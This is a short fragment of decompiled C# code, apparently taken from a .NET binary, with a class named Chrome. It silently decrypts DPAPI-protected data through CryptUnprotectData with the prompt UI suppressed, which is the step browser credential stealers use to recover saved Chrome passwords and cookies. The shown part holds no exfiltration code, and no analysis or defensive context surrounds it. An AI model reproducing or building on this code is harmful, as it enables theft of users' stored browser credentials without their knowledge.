// Token: 0x0600004D RID: 77 RVA: 0x0000572A File Offset: 0x0000392A
protected static void InitPrompt(ref Chrome.CRYPTPROTECT_PROMPTSTRUCT ps)
{
ps.cbSize = Marshal.SizeOf(typeof(Chrome.CRYPTPROTECT_PROMPTSTRUCT));
ps.dwPromptFlags = 0;
ps.hwndApp = (IntPtr)0;
ps.szPrompt = null;
}
// Token: 0x0600004F RID: 79 RVA: 0x000057B0 File Offset: 0x000039B0
protected static byte[] cipher_decrypter(byte[] cipherTextBytes)
{
Chrome.DATA_BLOB data_BLOB = default(Chrome.DATA_BLOB);
Chrome.DATA_BLOB data_BLOB2 = default(Chrome.DATA_BLOB);
Chrome.DATA_BLOB data_BLOB3 = default(Chrome.DATA_BLOB);
Chrome.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = default(Chrome.CRYPTPROTECT_PROMPTSTRUCT);
Chrome.InitPrompt(ref cryptprotect_PROMPTSTRUCT);
string empty = string.Empty;
byte[] result;
try
{
try
{
Chrome.InitBLOB(cipherTextBytes, ref data_BLOB2);
}
catch
{
}
try
{
Chrome.InitBLOB(Encoding.Default.GetBytes(string.Empty), ref data_BLOB3);
}
catch
{
}
if (Chrome.CryptUnprotectData(ref data_BLOB2, ref empty, ref data_BLOB3, IntPtr.Zero, ref cryptprotect_PROMPTSTRUCT, 1, ref data_BLOB))
{
byte[] array = new byte[data_BLOB.cbData];
Marshal.Copy(data_BLOB.pbData, array, 0, data_BLOB.cbData);
result = array;
}
else
{
result = null;
}
}
catch
{
result = null;
}
finally
{
if (data_BLOB.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(data_BLOB.pbData);
}
if (data_BLOB2.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(data_BLOB2.pbData);
}
if (data_BLOB3.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(data_BLOB3.pbData);
}
}
return(result);
}
protected static extern bool CryptUnprotectData(ref Chrome.DATA_BLOB pCipherText, ref string pszDescription, ref Chrome.DATA_BLOB pEntropy, IntPtr pReserved, ref Chrome.CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref Chrome.DATA_BLOB pPlainText);
